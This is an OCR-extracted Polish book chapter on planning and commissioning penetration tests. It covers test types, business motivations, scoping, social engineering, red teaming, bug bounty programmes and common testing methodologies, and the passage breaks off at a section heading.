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WSTEP

Rozdzial Testy penetracyjne powstal z mysla o osobach, ktdére chca zdoby¢ lub uporzad-
kowac wiedze zwiazanag z istotg oraz procesem przeprowadzania testow penetracyjnych
od strony ich organizacji. Opisze tu poszczegdélne kroki, jakie nalezy podja¢, by zdefinio-
wac zakres prac, wybra¢ odpowiedniag metodyke oraz okresli¢ wymagania wzgledem
raportu podsumowujacego testy. Przekazane w tym rozdziale informacje powinny wy-
starczy¢ do samodzielnego skoordynowania testéw penetracyjnych od etapu definiowa-
nia zakresu az po odbidr prac.

Wiedze przekazywana w niniejszym tekscie opieram na do§wiadczeniu z przeprowa-
dzenia ponad 550 testow penetracyjnych wykonanych w 2021 roku oraz 750 projektéw
zamknietych w roku 2022. W przypadku kazdego z nich bylem osoba odpowiedzialng
za definicje zakresu prac oraz za pomoc w rozwigzywaniu problemoéw wystepujacych
w trakcie ich realizacji.

Celem tekstu nie jest przekazanie wiedzy o wszystkich mozliwych technikach reali-
zacji testdw penetracyjnych ani omdéwienie $ciezki rozwoju pentestera. Czytelnik tego
rozdzialu nie potrzebuje innego doswiadczenia niz wynikajace z jego pracy w szeroko
rozumianej branzy IT.

PODSTAWOWE POJECIA

Przed przystapieniem do dalszej lektury poswieé¢my chwile na uzupelnienie stownika
0 podstawowe pojecia stosowane w testach penetracyjnych:
» Test penetracyjny — dzialanie, ktére ma na celu praktyczng weryfikacje bezpie-
czenstwa wybranego systemu komputerowego. Zesp6} przeprowadzajacy testy
w kontrolowanych warunkach odtwarza realne préby atakéw na system. Calty
proces odbywa sie réwniez w ustalonych ramach formalnych: wykonawca prac
posiada odpowiednig autoryzacje na testy od prawnego wlasciciela systemu. Test
penetracyjny moze wykaza¢ wystepowanie zaréwno znanych publicznie podat-
nosci, jak i wykry¢ btedy typu 0-day’.
» Audyt bezpieczenstwa —dzialanie o charakterze formalnym, ktérego celem jest we-
ryfikacja bezpieczenstwa systemu oparta na sformalizowanej procedurze i standar-
dach (np. ISO/IEC 270012). Audyt bezpieczenstwa rézni sie od testu penetracyjnego
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brakiem lub pewna ograniczona liczba zadan zwiazanych z praktyczna weryfika-
cja stanu bezpieczenstwa danego systemu i sprowadza sie do takich dziatan, jak:
analiza dokumentacji, wywiady z opiekunami audytowanego systemu, ankiety itp.

» Test black box (czarnej skrzynki) — okreslenie stosowane w przypadku takiej for-
my testow, kiedy zamawiajacy nie chce lub nie moze przekazac przeprowadzaja-
cej je firmie zadnych informacji o systemie lub infrastrukturze poza jej adresem
(adres URLS3, adres IP%).

» Test gray box (szarej skrzynki) — podejscie, w ramach ktérego zamawiajacy prze-
kazuje wykonawcy podstawowe informacje o testowanym systemie, np. takie jak
adres URL, a takze dane dostepowe niezbedne do uwierzytelnienia® w tym syste-
mie oraz inne dane mogace pomdc w lepszym jego poznaniu (wykorzystywane
technologie, podstawowy zarys architektury itp.).

» Test white box (bialej skrzynki) — podejscie, w ktérym zamawiajacy zaklada mozli-
wosc¢ przekazania wykonawcy szerokiego zestawu informacji o audytowanym syste-
mie, uwzgledniajac np. wglad w kod Zrédlowy lub inne informacje zgromadzone na
temat weryfikowanego systemu (dokumentacja, diagramy przeptywu danych itp.).

» Testy automatyczne (skanowanie podatnosci) — rodzaj testow bezpieczenstwa,
w ktorych realizowane dzialania ograniczaja sie do wykorzystania oprogramowa-
nia skanujacego systemy oraz infrastrukture pod katem wystepowania podatnosci
znajdujacych sie w bazie wybranego skanera.

MOTYWACJA

UWAGA Czytelnik znajacy istote realizacji testow penetracyjnych oraz wiedzacy, w jaki sposéb uzasadni¢

lub pozyska¢ budzet na ich przeprowadzenie, moze pominac¢ ten rozdziat.

Zanim zapadnie decyzja o zleceniu testdw penetracyjnych, nalezy zastanowic sie, w jaki
sposoéb takie dzialanie ma zosta¢ uzasadnione oraz co tak naprawde motywuje firme
lub organizacje do jego podjecia. Motywacja do realizacji okres$lonych dzialan moze by¢
zaréwno wewnetrzna, pltynaca ze Srodka firmy, jak i zewnetrzna.

Zacznijmy od motywacji zewnetrznych. Firma lub instytucja moze zosta¢ zmotywo-
wana do przeprowadzenia testow bezpieczenstwa ze wzgledu na wymogi, ktore sa jej
stawiane z mocy obowigzujacego prawa. Tak dzieje sie chociazby w przypadku wybra-
nych instytucji dzialajgcych w obszarze finanséw. Banki maja prawny obowiazek wery-
fikowania bezpieczenstwa wykorzystywanych i udostepnianych systemdw, a elementem
takiej weryfikacji jest przeprowadzanie testéw penetracyjnych. Wiecej informacji na ten
temat mozna znaleZ¢ m.in. w Rekomendacji DS opracowanej przez Komisje Nadzoru Fi-
nansowego (KNF). Podobne wymogi naklada Ustawa o krajowym systemie cyberbezpie-
czenstwa’ na operatoréow infrastruktury krytycznej (dostawcy energii, telekomunikacja,
krytyczne instytucje panstwowe itp.) czy tez standard PCI DSS® na firmy, ktére przetwa-
rzaja dane zwiazane z kartami platniczymi.

Coraz cze$ciej spotykana praktyka jest réwniez stawianie wymogu przedstawienia
raportu z testdw penetracyjnych w przypadku, gdy firma chce zakupi¢ i wdrozy¢ opro-
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Motywacja

gramowanie zewnetrznego dostawcy (np. system klasy CRM lub ERP). Dokumentacja
przetargowa badZ inne wymogi dotyczace takich systemdéw, poza wytycznymi odnosnie
do logiki biznesowej (okreslajacymi, jakie funkcje powinien implementowa¢ system),
zawieraja informacje o koniecznosci przedstawienia dowodéw potwierdzajgcych bezpie-
czenstwo systemu. Analogicznie dziala to w druga strone. Jezeli to my chcemy zaoferowac
system firmie trzeciej, powinni$my przygotowac sie na pytania dotyczace potwierdzenia
stopnia bezpieczenstwa systemu przez niezalezny podmiot (czyli zewnetrzna firme prze-
prowadzajacag audyty i testy bezpieczenistwa). Bazujac na moim do$wiadczeniu, o ktérym
pisalem we wstepie, moge stwierdzic, ze takie praktyki staja sie rynkowym standardem.

Patrzac na motywacje wewnetrzne, na pewno warto wymieni¢ przypadek, w ktorym
firma ,,dorasta” do tego, by zweryfikowa¢ stan bezpieczenstwa wlasnych systemdéw oraz
infrastruktury bez dodatkowych zewnetrznych bodzcéw. Nalezy jednak pamietac, ze test
penetracyjny powinien stanowi¢ element procesu dbania o bezpieczenistwo firmy, a nie
calos$¢ wysitkéw. Praktyczna weryfikacja stanu bezpieczenistwa powinna i$¢ w parze m.in.
z takimi dzialaniami, jak inwentaryzacja zasobéw czy przygotowanie i wdrozenie for-
malnych polityk bezpieczenstwa. Dbanie o bezpieczenstwo to proces, ktory nigdy sie
nie konczy, a do tego wymaga dzialan w wielu obszarach, nie tylko czysto technicznych.

Dla firm, ktére chca zweryfikowa¢ poziom bezpieczenstwa, jedna z gtéwnych moty-
wacji powinien by¢ fakt, iz bazujac na naszym doswiadczeniu, mozna wysnuc teze, Ze nie
jest juz pytaniem, czy dana firma zostanie zaatakowana, ale kiedy to nastapi. Infekcje
ransomware’owe” staly sie wlasciwie codziennoscia. Firma, ktéra nie podejmuje dziatan
zwigzanych z weryfikacja bezpieczenistwa, naraza sie na atak, ktéry na pewno przyjdzie.

Jedna z najwazniejszych motywacji powinna by¢ dobrze zrozumiana i wewnetrz-
nie rozpoznana potrzeba unikniecia negatywnych konsekwencji wlaman i naruszen
bezpieczenstwa, ktére moga wiazac sie z wyciekiem danych, ale réwniez przestojem w
dziataniu firmy. W przypadku naruszen zwiazanych z ujawnieniem danych osobowych
firma moze podlegac¢ regulacjom definiowanym m.in. przez RODO".

Innym Zrodlem motywacji do przeprowadzenia testow bezpieczenstwa jest mozli-
wos¢ uzyskania lub obnizZenia kosztow tzw. ubezpieczen od cyberryzyk. Takie ubez-
pieczenia zapewniaja ochrone zwigzang m.in. z atakami na firme w warstwie IT, a test
penetracyjny moze, ale nie musi, by¢ warunkiem uzyskania polisy.

Jeszcze innym Zrédiem motywacji do testow bezpieczenistwa wykonanych przez ze-
wnetrzng firme jest sprawdzenie, czy wewnetrzny zesp6l bezpieczenstwa dbajacy
o bezpieczenstwo aplikacji oraz infrastruktury spelnia swoja role. Motywacja jest
wiec tutaj dzialanie, ktére sprowadza sie do tego, by pozwoli¢ innej parze oczu ocenié¢,
czy przypadkiem cos$ istotnego nie zostaje pominiete. Takie zadanie nie ma na celu oce-
ni¢ czy podwaza¢ wiarygodnosci wewnetrznego zespolu, ale — ze wzgledu na mnogos$¢
stosowanych narzedzi oraz technik testéw penetracyjnych — pozwoli¢ uzupeinié prace
wewnetrznego zespolu o spojrzenie z innej perspektywy.

* Teksty z tagiem ,ransomware” poswigcone tego typu atakom warto przeczyta¢ w serwisie sekurak.pl: https://sekurak.
pl/tag/ransomware/. Zachecam do regularnego przegladania serwisu sekurak.pl, w ktérym publikowane sa informacje
o biezacych zagrozeniach oraz atakach na firmy i instytucje, ktérym nie udato sie ochroni¢ przed atakiem.
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ZAKRES PRAC

Gdy wiemy, ze trzeba przeprowadzi¢ test penetracyjny, warto zastanowic sie, jaki po-
winien by¢ jego zakres. Niewykluczone, ze na tym etapie wiemy juz, co powinno by¢
testowane (znamy potrzeby swoje i/lub firmy). JeZeli jednak nie jest to jasne, przedstawie
kilka informacji o tym, co tak naprawde moze zosta¢ poddane testom bezpieczenstwa.

Elementy, ktore maja zosta¢ poddane audytowi

Zakres testow, rozumiany jako elementy poddawane weryfikacji, mozna poréwnacé
do zakresu badan lekarskich, ktédre mozemy wykona¢ w wybranej placdwce medycznej.
W zaleznosci od dostepnosci specjalistow i ich kompetencji dana placéwka bedzie mo-
gla nam zaproponowac bardziej lub mniej kompleksowy zestaw badan. Podobnie jest
z testami penetracyjnymi. Firmy realizujace takie dzialania proponuja wybrane pakiety
testéw, ktére okreslaja zakres prac. Przykladowe elementy, ktére moga zosta¢ poddane
audytowi bezpieczenstwa, zaprezentowano na rysunku 1.

Najczesciej weryfikowane elementy to:

» Aplikacje, zaré6wno webowe, jak i mobilne — moga to by¢ proste strony zawie-
rajace podstawowe informacje dotyczace firmy, jak réwniez rozbudowane apli-
kacje klasy e-commerce, CRM, ERP itp. Nadal do testdw przekazywane sa takze
klasyczne aplikacje okienkowe (tzw. aplikacje typu gruby klient, ang. fat client),
ktore uruchamiane sa w wybranym systemie operacyjnym. Nie jest to czeste zja-
wisko, ale jezeli firma korzysta z tego rozwigzania, mozna to réwniez uwzglednié¢
w zakresie prac.

» Interfejsy API'° oraz WebService!! - rozumiane jako np. rozwigzania typu REST"?
API lub SOAP*:. Moga to by¢ aplikacje udostepniajace konkretne funkcjonalnosci
oraz logike biznesowa bhez klasycznego elementu interfejsu uzytkownika (UI'4).

» Infrastruktura (w rozumieniu sieci komputerowej), w ktérej znajduja sie urza-
dzenia sieciowe, serwery, stacje robocze pracownikow i wszelkie inne urzadzenia,
ktore dzialaja z wykorzystaniem protokotu IP. Mowa tutaj nie tylko o infrastruk-
turze publicznej (urzadzenia posiadajace publiczny adres IP), ale réwniez o infra-
strukturze wewnetrznej (biurowej, LAN'), osiggalnej np. po fizycznym wpieciu
sie do sieci w wybranej lokalizacji.

» Testy segmentacji sieciowej — w ramach audytu sieci, szczegdlnie sieci LAN, warto
uwzgledni¢ dodatkowe ¢wiczenie polegajace na weryfikacji skutecznosci dziata-
nia wdrozonych mechanizméw podziatu sieci na segmenty. Fakt wdrozenia takiej
konfiguracji na urzadzeniach sieciowych to jedno, ale sprawdzenie, czy nalozone
polityki sa skuteczne, to —jak pokazuje doswiadczenie — co$ zupelnie innego.

» Infrastruktura w chmurze - jezeli firma korzysta i utrzymuje calg infrastruk-
ture lub jej cze$¢ w tzw. chmurze, rozwigzanie takie moze zosta¢ poddane wery-
fikacji, ale nie w ramach prac o charakterze testu penetracyjnego. Takie zadanie
sprowadza sie bowiem do przegladu konfiguracji calego Srodowiska chmurowego
z poziomu panelu zarzadzania taka ustuga (np. konsoli zarzadzania AWS*®).

» Sieci bezprzewodowe Wi-Fi — popularne rozwigzanie, szczegélnie w §rodowi-
skach z mocnym nasyceniem urzadzen mobilnych (laptopy, smartfony). Sieci bez-
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On-site

Threat modeling
Architecture review
ycumentation review

S-SDLC

przewodowe moga i powinny stanowi¢ element testéw penetracyjnych ze wzgledu
na fakt, iz osoba chcaca zaatakowac taka sie¢ w wielu przypadkach nie musi na-
wet fizycznie znajdowac sie w siedzibie firmy. Wystarczy, Ze sie¢ bezprzewodowa
osiggalna jest z pobliskiego parkingu. Atak moze zosta¢ przeprowadzony w spo-
sOb niezauwazony nawet dla czujnych pracownikéw firmy.

Kod Zrédlowy — audyt aplikacji realizowany w modelu black box lub gray box moze
zostac rozszerzony o dodatkowa weryfikacje kodu Zzrédlowego (white box). Takie
hybrydowe podejscie do testéw istotnie zwieksza prawdopodobienstwo wykrycia
bledéw bezpieczenstwa, ktdre moga zosta¢ pominiete podczas prac black/gray box.
Konfiguracja systemo6w operacyjnych, baz danych oraz serweréw WWW, czyli
komponentow, ktére stanowia element infrastruktury IT lub z wykorzystaniem
ktérych uruchamiane sa aplikacje. Analiza konfiguracji sprowadza sie do fizycz-
nego przegladu plikéw konfiguracyjnych poszczegélnych komponentéw pod ka-
tem ustawien, ktére nie sg zgodne z najlepszymi praktykami bezpieczenstwa IT
lub wprost stanowig podatno$ci. Dzialanie takie nazywane jest rowniez utwardza-
niem (ang. hardening) konfiguracji. Analiza konfiguracji moze dotyczy¢ réwniez
stacji roboczych pracownikow.

E-commerce

Banking & finance

Business context

Frontend

Backend, APls / Webservices

Webserver

Recon / OSINT

WAN
VPN

LAN Network segmentation

Wi-Fi

AD

_ AWS / GCP / Azure review
RedTeaming (whitebox)
Insider Threat Securitum - security Kubernetes
of IT systems Infrastructure

Cloud 0365

GSuite

Security Consulting
Docker

Workstations
Whitebox configuration review

Servers
DDoS
Incident analysis

Source code review

Rysunek 1. Dodatkowe obszary mozliwe do poddania weryfikacji w czasie testéw penetracyjnych
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Socjotechnika w testach penetracyjnych

Testy penetracyjne skupiaja sie na technicznej weryfikacji bezpieczenstwa systemadw,
infrastruktury lub calych firm. Pentesterzy maja jednak mozliwo$¢ sprawdzenia innych
waznych dla bezpieczenstwa obszardw, jakimi sa: zachowanie, przyzwyczajenia i kul-
tura pracy pracownikow. W lancuchu bezpieczenstwa najstabszym ogniwem zawsze
byl i bedzie czlowiek.

Mozna jednak ten watek zaadresowad, realizujac tzw. testy socjotechniczne, ktore
moga stanowi¢ dopelienie testéw penetracyjnych.

Socjotechnika moze zostac zrealizowana m.in. w ramach trzech scenariuszy. Zostaty
one opisane ponizej:

» Phishing - firma przeprowadzajaca testy opracowuje i wysyta do wskazanych przez
firme pracownikéw e-mailing, w ramach ktérego namawia ich do wykonania czyn-
nosci, ktérych nie powinni robi¢ (np. uruchomienie ,,ztosliwego” zalacznika z wiado-
mosci e-mail lub przekazanie wrazliwych danych na podstawionej stronie WWW).

» Vishing -rodzaj socjotechniki, w ramach ktérej pentesterzy wykonuja polaczenie
telefoniczne i w trakcie rozmowy namawiaja pracownikéw do wykonania nieau-
toryzowanych operacji.

» On-site, czy inaczej: socjotechnika fizyczna - w ramach ktérej pentesterzy prébu-
ja omina¢ fizyczne zabezpieczenia w wybranej lokalizacji (biuro, oddziat firmy,
magazyn itp.). Zazwyczaj audyt skupia sie wtedy na ominieciu ochrony, recepcji
oraz innych fizycznych zabezpieczen, a nastepnie na dazeniu do uzyskania nie-
autoryzowanego dostepu do konkretnych pomieszczen (serwerownia, archiwum,
inne istotne dla firmy pomieszczenia).

Mozliwe sa réwniez wariacje kazdego z tych scenariuszy. Przykladem moze by¢ phishing,
ktérego odmiang jest spear phishing, czyli kampanie wymierzone w waskie grupy lub
nawet konkretne osoby (np. atak wobec wybranego pracownika dziatu ksiegowosci lub
czlonka zarzadu firmy).

Bazujac na moim do$wiadczeniu, moge $miato wskaza¢ socjotechnike jako jedna
z bardziej efektywnych metod pozyskiwania nieautoryzowanego dostepu do wewnetrz-
nych systemoéw firm. Dobrze przygotowana kampania tego typu na ogoél konczy sie
sukcesem, rozumianym jako naklonienie przynajmniej jednego pracownika do przeka-
zania informacji lub wykonania akcji pozwalajacej na uzyskanie nieautoryzowanego
dostepu do systeméw i/lub infrastruktury firmy.

Red teaming a testy penetracyjne

Dzialajac jeszcze w obszarze porzadkowania pojec¢, chciatbym poruszy¢ temat kam-
panii typu red teaming. W ramach takich kampanii, inaczej niz w przypadku testéw
penetracyjnych, zadaniem wykonawcy prac jest m.in. okreslenie powierzchni ataku. Za-
mawiajacy nie przekazuje zespolowi pentesterow dokladnej listy adreséw IP lub URL,
ktére maja podlega¢ atakowi. Na starcie pentesterzy realizujacy kampanie dzialaja z tzw.
wiedza zerowa — jasne jest jedynie, jaka firma lub organizacja bedzie celem ataku, nato-
miast przygotowanie do prac, w tym enumeracja infrastruktury, stanowi element samej
kampanii. Nadrzednym celem takiej kampanii jest potwierdzenie mozliwosci uzyskania
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nieautoryzowanego dostepu do infrastruktury zamawiajacego z wykorzystaniem $rod-
kéw technicznych i/lub socjotechnicznych.

Dobra praktyka, jaka warto stosowa¢ w ramach kampanii red teaming, jest oddziele-
nie etapu rekonesansu i przygotowania scenariuszy od fazy aktywnych atakéw. W proces
ten warto wple$¢ rozmowe z koordynatorami testéw po stronie zamawiajacego, ktorym
przedstawi sie planowane scenariusze atakow jeszcze przed ich realizacja. Pozwala to
unikna¢ nieprzyjemnych sytuacji, w przypadku gdy przygotowany plan ataku z jakiego$
powodu zostanie uznany za nieadekwatny lub za zbyt agresywny. Oczywiscie od razu
nasuwa sie mysl zwigzana z tym, ze prawdziwy atakujacy nie bedzie pytal o zgode na
realizacje swoich celéw, co jest prawda, jednak nie mozna zapomina¢ o tym, Ze firma
wykonujaca kampanie typu red teaming dziala w rezimie biznesowym i taka kampania
ma by¢ koordynowanym ¢wiczeniem. Podstawowe réznice pomiedzy klasycznym testem
penetracyjnym a dzialaniem typu red teaming zaprezentowano w tabeli 1.

Tabela 1. Test penetracyjny a kampania red teaming - poréwnanie

TEST PENETRACYJNY KAMPANIA RED TEAMING
doktadnie zdefiniowany zakres prac przed tak nie
rozpoczeciem projektu
konieczno$¢ realizacji prac typu OSINT nie tak
(ustalenie powierzchni ataku)
mozliwo$¢ wsparcia prac socjotechnika nie’ tak
(phishing, vishing, on-site)
eskalacja (ang. lateral movement; np. w gtgh nie’ tak
infrastruktury) po przetamaniu zabezpieczen
zewnetrznych
raportowanie wszystkich typéw podatnosci, tak nie

od krytycznych do mniej istotnych

Kampanie typu red teaming warto realizowa¢ w celu weryfikacji stosowanych zabezpie-
czen w scenariuszu mozliwie najbardziej zblizonym do realnych atakéw wymierzonych
w organizacje. Co do zasady jednak techniki atakéw stosowane w ramach takich prac sa
zblizone do standardéw testdw penetracyjnych. Inne jest jednakze podejscie do definio-
wania zakresu i kolejnych krokéw samego procesu testow.

Uogdlniajac, mozna stwierdzi¢, ze przeprowadzenie kampanii red teaming pozwoli
odpowiedzie¢ na pytanie, czy mozliwe jest osiagniecie celu zdefiniowanego przed rozpo-
czeciem prac (np. wlamanie sie do wybranej firmy lub organizacji, uzyskanie dostepu do
okreslonych informacji itp.). Nie zastapi to jednak testéw penetracyjnych, ktére w swojej
istocie sa duzo bardziej szczegdtowe i kompleksowe, dzieki czemu pozwalaja wykry¢ nie
tylko pojedyncze otwarte furtki (ang. backdoor), ale rowniez szereg innych, mniej lub
bardziej ztozonych, problemdéw bezpieczenstwa.

* chyba, ze zakres prac stanowi inaczej.
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Bug bounty a testy penetracyjne

Testy penetracyjne nie stanowia jedynej drogi do tego, by podda¢ aplikacje lub sys-
temy weryfikacji pod katem bezpieczenstwa. Duza popularnos$cia ciesza sie programy
typu bug bounty, czyli inicjatywy, w ramach ktérych firmy i organizacje wyrazaja zgode
na wyszukiwanie podatnosci bezpieczenstwa w okreslonych aplikacjach w zamian za
nagrode, ktéra przyznawana jest w przypadku wykrycia podatnosci.

Program bug bounty mozna uruchomi¢ niezaleznie lub skorzysta¢ ze wsparcia ta-
kich platform jak HackerOne'’ lub Bugcrowd'®. Uruchomienie takiej inicjatywy sprawi,
ze wlasciwie kazdy zainteresowany bedzie mdgt podjac probe przelamania zabezpieczen
aplikacji, ktore zostang wskazane jako zakres danego programu.

W ramach prac realizowanych w programach bug bounty pentesterzy wykorzystu-
ja praktycznie te same techniki wyszukiwania podatno$ci, jak w klasycznych testach
bezpieczenstwa. Warto wiec mie¢ Swiadomos¢, czym bug bounty rézni sie od testéw
penetracyjnych:

» W przypadku testéw bug bounty zazwyczaj zakres skupia sie na testach aplikacji
oraz infrastruktury, ktéra dostepna jest z sieci publicznej. Zapewnienie doste-
pu do aplikacji oraz systeméw znajdujacych sie jedynie w sieci wewnetrznej firmy
moze by¢ klopotliwe, a w pewnych sytuacjach — niemozliwe ze wzgledu na uregu-
lowania prawne i konieczno$¢ zapewnienia kontroli nad nadawanymi dostepami.

» Firmy przeprowadzajgce testy penetracyjne zazwyczaj nie utrudniaja kontaktu
z zespolem pentesterow, ktory realizuje prace. Dzieki temu zlecajacy testy jest
informowany nie tylko o wykrytych bledach, ale réwniez o postepie prac. Uczest-
nictwo w programach bug bounty nie zobowiazuje pentestera do komunikacji
lub przekazywania informacji o zaawansowaniu dzialan. Kontakt nastepuje
zazwyczaj dopiero na etapie doreczenia raportu o wykrytej podatnosci.

» Programy bug bounty moga trwa¢ miesiacami lub latami, w zaleznosci od
decyzji firmy. Testy penetracyjne, nawet te najdtuzsze, zamykaja sie zazwyczaj
w terminie maksymalnie kilku tygodni.

» Usluga testu penetracyjnego gwarantuje pokrycie zdefiniowanego w ofercie
zakresu testow (np. weryfikacja zgodnosci aplikacji z wymaganiami standardu
ASVS"Y). Opiekunowie programéw bug bounty sugeruja pentesterom oparcie sie na
uznanych standardach testéw, jednak nikt nie moze daé gwarancji, ze aplikacja
na pewno zostala przetestowana w pelnym zakresie.

» Firma realizujaca testy penetracyjne moze dostarcza¢ tzw. raporty robocze lub
raporty czastkowe, ktére stanowig podsumowanie danego etapu testow (np. po
pierwszym, drugim lub trzecim tygodniu testéw). Takie aktualizacje moga stanowic¢
istotne zZrédlo informacji dla oséb podejmujacych decyzje o tym, czy testowany sys-
tem moze zostac zgodnie z planem przekazany do produkcyjnego uruchomienia.

Powyzsza lista najpewniej nie wyczerpuje wszystkich réznic pomiedzy dwoma omawia-
nymi podejsciami, jednak moim zdaniem przedstawia te potencjalnie najwazniejsze,
ktére moga wplynac na decyzje kierunkowe dotyczace wyboru pomiedzy testami pene-
tracyjnymi a bug bounty.
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Zakres prac

Programy typu bug bounty stanowia ciekawy i warto$ciowy element procesu bezpie-
czenstwa IT. Trzeba jednak pamieta¢ o tym, ze w przypadku konieczno$ci zastosowa-
nia podej$cia nakierowanego na kompleksowo$¢ testow lub potwierdzenie zgodnos$ci
z wybranym standardem lepszym wyjsciem beda najprawdopodobniej klasyczne testy
penetracyjne.

Decyzja

Jak wiec podja¢ decyzje o tym, co ma stanowi¢ finalny zakres prac, gdy budzet nie
pozwala na przetestowanie wszystkiego? Na pewno nalezy kierowac sie priorytetami,
w ktdérych okresleniu pomdc moze analiza ryzyka". Warto zada¢ pytanie o to, ktore
elementy naszej infrastruktury sa najbardziej narazone na atak. Najpewniej bedzie to
w pierwszej kolejnosci infrastruktura dostepna z sieci publicznej Internet, czyli urzadze-
nia brzegowe czy udostepniane aplikacje webowe.

Moje doswiadczenie w pracy z firmami realizujgcymi testy penetracyjne wskazuje, ze
kazda z nich w mniejszym lub wiekszym stopniu jest w stanie wskaza¢, co powinno wejs¢
w zakres prac (jakie systemy lub elementy infrastruktury). W podjeciu decyzji o finalnym
zakresie prac moze wiec pomoéc rozmowa z firma przeprowadzajaca takie testy, podczas
ktdrej ich zakres zostanie sprecyzowany.

Jezeli zachodzi potrzeba podejscia do definiowania zakresu w bardziej sformalizo-
wany i kompleksowy sposéb, dobrym pomyslem moze by¢ wykorzystanie narzedzia,
jakim jest modelowanie zagrozen®. Nie jest ono dedykowane definiowaniu zakresu
testow penetracyjnych, ale przeprowadzajac sesje modelowania dla wybranego systemu,
mozna wyszczegolni¢ obszary, ktére powinny zosta¢ poddane weryfikacji w pierwszej
kolejno$ci. W ramach takiego modelowania identyfikowane sa zagrozenia i ryzyka, ja-
kie moga zmaterializowac sie w wybranym systemie. Pentester, korzystajac ze swojej
wiedzy, odpytuje zesp6l odpowiedzialny za wybrany system o sposéb jego dzialania,
zaimplementowane procesy oraz komponenty infrastruktury, a nastepnie, bazujac na
do$wiadczeniu i wiedzy, weryfikuje, czy zesp6t w odpowiedni sposéb zaadresowatl za-
grozenia zwigzane z bezpieczenstwem IT, ktére moga pojawi¢ sie sie w takim systemie.
Obszary, dla ktérych wprost nie przewidziano $srodkdéw ograniczania zagrozenia, moga
stanowic priorytetowe zakresy testow penetracyjnych.

Trzeba pamietac¢ réwniez o tym, Ze nie ma wymogu bycia wascicielem produktu, by
moc zleci¢ wykonanie testdw penetracyjnych. Jezeli podjeta zostanie decyzja dotycza-
ca wdrozenia w firmie wybranego systemu, mozna zobligowa¢ w umowie dostawce do
tego, by wykonal odpowiednie testy i dostarczyt dowdd ich realizacji (najczesciej raport
z testow penetracyjnych) - lub samemu zleci¢ wykonanie takiej ustugi. Nalezy jedynie
zadbac o to, by producent wyrazil zgode na testy, jezeli system w calosci nie dziala na
infrastrukturze, ktdrej jesteSmy wilascicielem. Taka sytuacja zachodzi najczesciej w przy-
padku rozwiazan typu Software as a Service, SaaS (oprogramowanie jako ustuga)?'. Pozy-
skanie dodatkowych zgdd moze by¢ réwniez konieczne w przypadku, gdy zakres audytu
musi obejmowac przeglad kodu zZrédlowego. Nie kazda umowa lub licencja gwarantuje
taki dostep.

* Zob. rozdz. Basa L., Sedkowski W., Modelowanie zagrozeri i analiza ryzyka aplikacji,
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METODYKI | STANDARDY

Zanim przejde do omawiania konkretnych krokdw procesu realizacji testow bezpieczen-
stwa, musze poruszyc jeszcze dwie kwestie, dzigki czemu dalszy opis procesu bedzie
bardziej uporzadkowany.

Pierwsza z nich dotyczy tzw. metodyki testow bezpieczenstwa. Istnieje przynajmniej
kilka metodyk funkcjonujacych w $wiecie testéw penetracyjnych, a co za tym idzie — nale-
zy wiedzie¢, czym sie charakteryzuja i dlaczego warto opierac na nich testy penetracyjne.

Metodyki stosowane w testach penetracyjnych dzialaja dwustronnie. Strona realizu-
jaca testy ma narzucony framework, wedlug ktérego powinna przeprowadzi¢ dzialania.
Strona zamawiajaca prace ma do pewnego stopnia gwarancje, zZe zostana one zrealizo-
wane w okreslony z gory sposéb, co powinno pozytywnie wplynaé na ich jakos$¢. Obie
strony powinny jednak rozumie¢, ze kluczowe jest tutaj stowo ,framework” — howiem
zadnej metodyki nie da sie przenie$¢ w stu procentach do $wiata rzeczywistego i dosto-
sowac do kazdego systemu, ktory istnieje na Swiecie.

DOBRE PRAKTYKI: NAJCZESTSZE METODYKI | STANDARDY W PROWADZE-
NIU TESTOW BEZPIECZENSTWA

» OWASP Top 10% - przekornie pierwsza pozycja na liscie metodyk nie jest metodyka. Klienci zamawia-
jacy testy penetracyjne na pytanie, wedtug jakiej metody nalezy wykonac testy, wielokrotnie wskazuja
OWASP Top 10. Zjawisko to funkcjonuje na tak szeroka skale, ze wymaga wyjasnienia. OWASP Top 10 jest
zestawieniem najpopularniejszych i najpowazniejszych klas podatnosci wystepujacych w aplikacjach
webowych. Nie ma tu wiec mowy o metodyce czy standardzie, ale o liscie wyselekcjonowanych podatno-
§ci. Mozna natomiast mowic o tym, by sprawdzi¢ wybrany system pod katem podatnosci wymienionych
w OWASP Top 10. Tak skonstruowany zakres jest jak najbardziej poprawny, jednak dobrze, aby wyznaczat
dla wykonawcy testow jedynie priorytetowe obszary.

» OWASP Application Security Verification Standard (ASVS) - rozbudowany standard bezpieczenstwa
opracowany przez te sama organizacje, co zestawienie Top 10. ASVS stanowi uznany, ciaggle aktualizowany
i kompleksowy, standard definiujacy zakres testow aplikacji, gtéwnie z obszaru webowego. Jest uznawany
i szeroko stosowany m.in. w aplikacjach z rynku bankowo-finansowego. Moge go zdecydowanie polecic, ale
istnieje tutaj rowniez pewne ryzyko. Liczba wymagan, ktore stawia ASVS, moze przyttaczac. Dlatego do listy
trzeba podejsc z rozsadkiem i pamietac o tym, Ze nalezy dazy¢ do tego, by spetnia¢ mozliwie jak najwigcej
punktow standardu, niekoniecznie wszystkie. Zaryzykuje twierdzenie, ze nie istnieje na $wiecie aplikacja,
ktora jest zgodna w 100% z ASVS.

» OWASP Mobile Application Security Verification Standard (MASVS)” - przygotowany w podobnej formule
jak ASVS, odpowiednik tego standardu dla aplikacji mobilnych (Android, i0S). Zawiera zbior wytycznych
zwigzanych z bezpieczenstwem samej aplikacji mobilnej, ktora instalowana jest na urzadzeniu koncowym
(smartfonie), ale réwniez zalecenia dotyczace bezpieczenstwa backendu i komunikacji z nim.

» Penetration Testing Execution Standard (PTES)* - metodyka opisujaca sposob realizacji testow penetra-
cyjnych na pewnym poziomie ogélnosci. Wyréznia podstawowe fazy pentestu, jak: ustalanie zakresu testow,
zbieranie informacji (OSINT), az po etapy zwigzane z eksploitacja i raportowaniem. Prosty framework, ktory
znajduje swoje zastosowanie nie tylko w przypadku aplikacji webowych czy mobilnych.

» Open Source Security Testing Methodology Manual (0SSTMM)> - jedna z bardziej szczegétowych
metodyk, zdecydowanie bardziej rozbudowana niz np. PTES. Oprécz warstwy technicznej zahacza réwniez
m.in. o bezpieczenstwo fizyczne.
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Testy manualne i automatyczne

Powyzsza lista zestawienia i standard6w nie jest kompletna, ale nie taka byla intencja
przygotowania tego zestawienia. Wymienione pozycje najczesciej pojawiaja sie w prze-
sylanych do nas zapytaniach ofertowych, mozna wiec zaryzykowaé twierdzenie, ze sa
one w Polsce najbardziej rozpoznawalne.

TESTY MANUALNE | AUTOMATYCZNE

